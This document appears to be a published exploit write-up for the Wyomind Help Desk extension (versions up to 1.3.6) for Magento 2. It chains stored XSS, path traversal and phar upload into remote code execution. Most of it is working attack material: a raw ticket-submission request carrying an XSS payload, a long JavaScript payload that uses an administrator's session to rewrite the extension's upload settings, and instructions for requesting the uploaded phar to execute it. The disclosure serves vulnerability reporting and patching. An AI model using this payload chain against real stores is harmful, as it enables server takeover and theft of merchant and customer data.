218 lines
No EOL
9.8 KiB
Text
218 lines
No EOL
9.8 KiB
Text
# Exploit Title: Wyomind Help Desk 1.3.6 - Remote Code Execution (RCE)
|
|
# Date: 2021-07-07
|
|
# Exploit Author: Patrik Lantz
|
|
# Vendor Homepage: https://www.wyomind.com/magento2/helpdesk-magento-2.html
|
|
# Version: <= 1.3.6
|
|
# Tested on: Ubuntu 18.04-20.04, Apache, PHP 7.2, Magento 2
|
|
|
|
|
|
The Mangento 2 Help Desk extension from Wyomind up to and including version 1.3.6 is vunerable to stored XSS, directory traversal and unrestricted upload of a dangerous file type. These vulnerabilites combined could lead to code execution.
|
|
|
|
A XSS payload can be sent via the ticket message from the front-end in the 'Support - My tickets' section.
|
|
The payload is triggered when an administrator views the ticket in the Magento 2 backend. The following request enable
|
|
the delivery of the XSS payload:
|
|
|
|
POST /helpdesk/customer/ticket_save/ HTTP/1.1
|
|
Host: <redacted>
|
|
Content-Type: multipart/form-data; boundary=---------------------------243970849510445067673127196635
|
|
Content-Length: 683
|
|
Origin: https://<redacted>
|
|
Connection: close
|
|
Referer: https://<redacted>/helpdesk/customer/ticket_view/
|
|
Cookie: <redacted>
|
|
Upgrade-Insecure-Requests: 1
|
|
|
|
-----------------------------243970849510445067673127196635
|
|
Content-Disposition: form-data; name="form_key"
|
|
|
|
<redacted>
|
|
-----------------------------243970849510445067673127196635
|
|
Content-Disposition: form-data; name="object"
|
|
|
|
Hello
|
|
-----------------------------243970849510445067673127196635
|
|
Content-Disposition: form-data; name="message_cc"
|
|
|
|
|
|
-----------------------------243970849510445067673127196635
|
|
Content-Disposition: form-data; name="content"
|
|
|
|
<p><script>alert(1)</script></p>
|
|
-----------------------------243970849510445067673127196635
|
|
Content-Disposition: form-data; name="hideit"
|
|
|
|
|
|
-----------------------------243970849510445067673127196635--
|
|
|
|
|
|
|
|
The following XSS payload shown below can be used to trigger
|
|
|
|
1) Enabling file attachments in ticket messages
|
|
2) Adding 'phar' to allowed file extensions
|
|
3) Setting the attachment directory to 'helpdesk/files/../../../pub'
|
|
|
|
|
|
<script>
|
|
function successListener(e) {
|
|
var doc = e.target.response
|
|
var action=doc.getElementById('config-edit-form').action;
|
|
|
|
function submitRequest()
|
|
{
|
|
var formKey = FORM_KEY;
|
|
var xhr = new XMLHttpRequest();
|
|
xhr.open("POST", action, true);
|
|
xhr.setRequestHeader("Content-Type", "multipart\/form-data; boundary=---------------------------14303502862141221692667966053");
|
|
xhr.withCredentials = true;
|
|
var body = "-----------------------------14303502862141221692667966053\r\n" +
|
|
"Content-Disposition: form-data; name=\"form_key\"\r\n" +
|
|
"\r\n" +
|
|
formKey + "\r\n" +
|
|
"-----------------------------14303502862141221692667966053\r\n" +
|
|
"Content-Disposition: form-data; name=\"config_state[wyomind_helpdesk_license]\"\r\n" +
|
|
"\r\n" +
|
|
"0\r\n" +
|
|
"-----------------------------14303502862141221692667966053\r\n" +
|
|
"Content-Disposition: form-data; name=\"config_state[wyomind_helpdesk_general]\"\r\n" +
|
|
"\r\n" +
|
|
"1\r\n" +
|
|
"-----------------------------14303502862141221692667966053\r\n" +
|
|
"Content-Disposition: form-data; name=\"groups[general][fields][enabled][value]\"\r\n" +
|
|
"\r\n" +
|
|
"1\r\n" +
|
|
"-----------------------------14303502862141221692667966053\r\n" +
|
|
"Content-Disposition: form-data; name=\"groups[general][fields][log][value]\"\r\n" +
|
|
"\r\n" +
|
|
"0\r\n" +
|
|
"-----------------------------14303502862141221692667966053\r\n" +
|
|
"Content-Disposition: form-data; name=\"groups[general][fields][default_email][value]\"\r\n" +
|
|
"\r\n" +
|
|
"\r\n" +
|
|
"-----------------------------14303502862141221692667966053\r\n" +
|
|
"Content-Disposition: form-data; name=\"groups[general][fields][default_status][value]\"\r\n" +
|
|
"\r\n" +
|
|
"1\r\n" +
|
|
"-----------------------------14303502862141221692667966053\r\n" +
|
|
"Content-Disposition: form-data; name=\"groups[general][fields][pending_status][value]\"\r\n" +
|
|
"\r\n" +
|
|
"2\r\n" +
|
|
"-----------------------------14303502862141221692667966053\r\n" +
|
|
"Content-Disposition: form-data; name=\"groups[general][fields][closed_status][value]\"\r\n" +
|
|
"\r\n" +
|
|
"3\r\n" +
|
|
"-----------------------------14303502862141221692667966053\r\n" +
|
|
"Content-Disposition: form-data; name=\"groups[general][fields][ticket_prefix][value]\"\r\n" +
|
|
"\r\n" +
|
|
"10000\r\n" +
|
|
"-----------------------------14303502862141221692667966053\r\n" +
|
|
"Content-Disposition: form-data; name=\"config_state[wyomind_helpdesk_frontend]\"\r\n" +
|
|
"\r\n" +
|
|
"1\r\n" +
|
|
"-----------------------------14303502862141221692667966053\r\n" +
|
|
"Content-Disposition: form-data; name=\"groups[frontend][fields][menu_label][value]\"\r\n" +
|
|
"\r\n" +
|
|
"Support - My Tickets\r\n" +
|
|
"-----------------------------14303502862141221692667966053\r\n" +
|
|
"Content-Disposition: form-data; name=\"groups[frontend][fields][top_link_enabled][value]\"\r\n" +
|
|
"\r\n" +
|
|
"1\r\n" +
|
|
"-----------------------------14303502862141221692667966053\r\n" +
|
|
"Content-Disposition: form-data; name=\"groups[frontend][fields][attachments][value]\"\r\n" +
|
|
"\r\n" +
|
|
"1\r\n" +
|
|
"-----------------------------14303502862141221692667966053\r\n" +
|
|
"Content-Disposition: form-data; name=\"config_state[wyomind_helpdesk_frontend_attachments_settings]\"\r\n" +
|
|
"\r\n" +
|
|
"1\r\n" +
|
|
"-----------------------------14303502862141221692667966053\r\n" +
|
|
"Content-Disposition: form-data; name=\"groups[frontend][groups][attachments_settings][fields][attachments_extension][value]\"\r\n" +
|
|
"\r\n" +
|
|
"jpeg,gif,png,pdf,phar\r\n" +
|
|
"-----------------------------14303502862141221692667966053\r\n" +
|
|
"Content-Disposition: form-data; name=\"groups[frontend][groups][attachments_settings][fields][attachments_directory_path][value]\"\r\n" +
|
|
"\r\n" +
|
|
"helpdesk/files/../../../pub\r\n" +
|
|
"-----------------------------14303502862141221692667966053\r\n" +
|
|
"Content-Disposition: form-data; name=\"groups[frontend][groups][attachments_settings][fields][attachments_upload_max_filesize][value]\"\r\n" +
|
|
"\r\n" +
|
|
"2M\r\n" +
|
|
"-----------------------------14303502862141221692667966053\r\n" +
|
|
"Content-Disposition: form-data; name=\"groups[frontend][groups][attachments_settings][fields][attachments_post_max_size][value]\"\r\n" +
|
|
"\r\n" +
|
|
"4M\r\n" +
|
|
"-----------------------------14303502862141221692667966053\r\n" +
|
|
"Content-Disposition: form-data; name=\"config_state[wyomind_helpdesk_emails]\"\r\n" +
|
|
"\r\n" +
|
|
"1\r\n" +
|
|
"-----------------------------14303502862141221692667966053\r\n" +
|
|
"Content-Disposition: form-data; name=\"config_state[wyomind_helpdesk_emails_customer_settings]\"\r\n" +
|
|
"\r\n" +
|
|
"0\r\n" +
|
|
"-----------------------------14303502862141221692667966053\r\n" +
|
|
"Content-Disposition: form-data; name=\"groups[emails][groups][customer_settings][fields][confirmation_enabled][value]\"\r\n" +
|
|
"\r\n" +
|
|
"0\r\n" +
|
|
"-----------------------------14303502862141221692667966053\r\n" +
|
|
"Content-Disposition: form-data; name=\"groups[emails][groups][customer_settings][fields][confirmation_content][value]\"\r\n" +
|
|
"\r\n" +
|
|
"Dear {{customer_firstname}},\x3cbr/\x3e\x3cbr/\x3e\r\n" +
|
|
"Your message has been sent to the support team.\r\n" +
|
|
"Here is the message content:\x3cbr/\x3e\r\n" +
|
|
"\"{{message}}\" \x3cbr/\x3e\x3cbr/\x3e\r\n" +
|
|
"Kind Regards,\r\n" +
|
|
"The Support Team.\r\n" +
|
|
"-----------------------------14303502862141221692667966053\r\n" +
|
|
"Content-Disposition: form-data; name=\"groups[emails][groups][customer_settings][fields][notification_enabled][value]\"\r\n" +
|
|
"\r\n" +
|
|
"0\r\n" +
|
|
"-----------------------------14303502862141221692667966053\r\n" +
|
|
"Content-Disposition: form-data; name=\"groups[emails][groups][customer_settings][fields][notification_content][value]\"\r\n" +
|
|
"\r\n" +
|
|
"Hello {{customer_firstname}},\x3cbr/\x3e\x3cbr/\x3e\r\n" +
|
|
"Your ticket \"{{ticket_object}}\" (#{{prefixed_id}}) has been updated.\r\n" +
|
|
"Please login to your account via this link in order to see the new message: {{customer_account_link}}\x3cbr/\x3e\x3cbr/\x3e\r\n" +
|
|
"Regards,\r\n" +
|
|
"The Support Team.\r\n" +
|
|
"-----------------------------14303502862141221692667966053\r\n" +
|
|
"Content-Disposition: form-data; name=\"config_state[wyomind_helpdesk_emails_support_team_settings]\"\r\n" +
|
|
"\r\n" +
|
|
"0\r\n" +
|
|
"-----------------------------14303502862141221692667966053\r\n" +
|
|
"Content-Disposition: form-data; name=\"groups[emails][groups][support_team_settings][fields][notification_enabled][value]\"\r\n" +
|
|
"\r\n" +
|
|
"0\r\n" +
|
|
"-----------------------------14303502862141221692667966053\r\n" +
|
|
"Content-Disposition: form-data; name=\"groups[emails][groups][support_team_settings][fields][notification_content][value]\"\r\n" +
|
|
"\r\n" +
|
|
"You received a new message from a customer.\r\n" +
|
|
"-----------------------------14303502862141221692667966053--\r\n";
|
|
var aBody = new Uint8Array(body.length);
|
|
for (var i = 0; i < aBody.length; i++)
|
|
aBody[i] = body.charCodeAt(i);
|
|
xhr.send(new Blob([aBody]));
|
|
}
|
|
submitRequest();
|
|
}
|
|
|
|
var request = new XMLHttpRequest();
|
|
request.onload = successListener;
|
|
request.responseType = 'document';
|
|
request.open('GET', document.querySelector('[data-ui-id="menu-wyomind-helpdesk-configuration"]').querySelector('a').href, true);
|
|
request.send();
|
|
</script>
|
|
|
|
After the XSS payload is executed, it is possible to upload a phar file by attaching files to ticket messages. Upon successful upload, the uploaded files can be requested to trigger the execution of it by requesting
|
|
|
|
https://[HOSTNAME]/<ticketId>/<messageId>/filename.phar
|
|
|
|
ticketId and messageId can be identified after sending the ticket message with the attached phar file. The ticketId is visible in the
|
|
URL, for example:
|
|
|
|
https://[HOSTNAME]/helpdesk/customer/ticket_view/ticket_id/7/
|
|
|
|
and the messageId can be identified by hovering over the uploaded file link which will be similar to
|
|
|
|
https://[HOSTNAME]/helpdesk/customer/message_downloadAttachment/message/40/file/filename.phar
|
|
|
|
in this case, the messageId is 40. |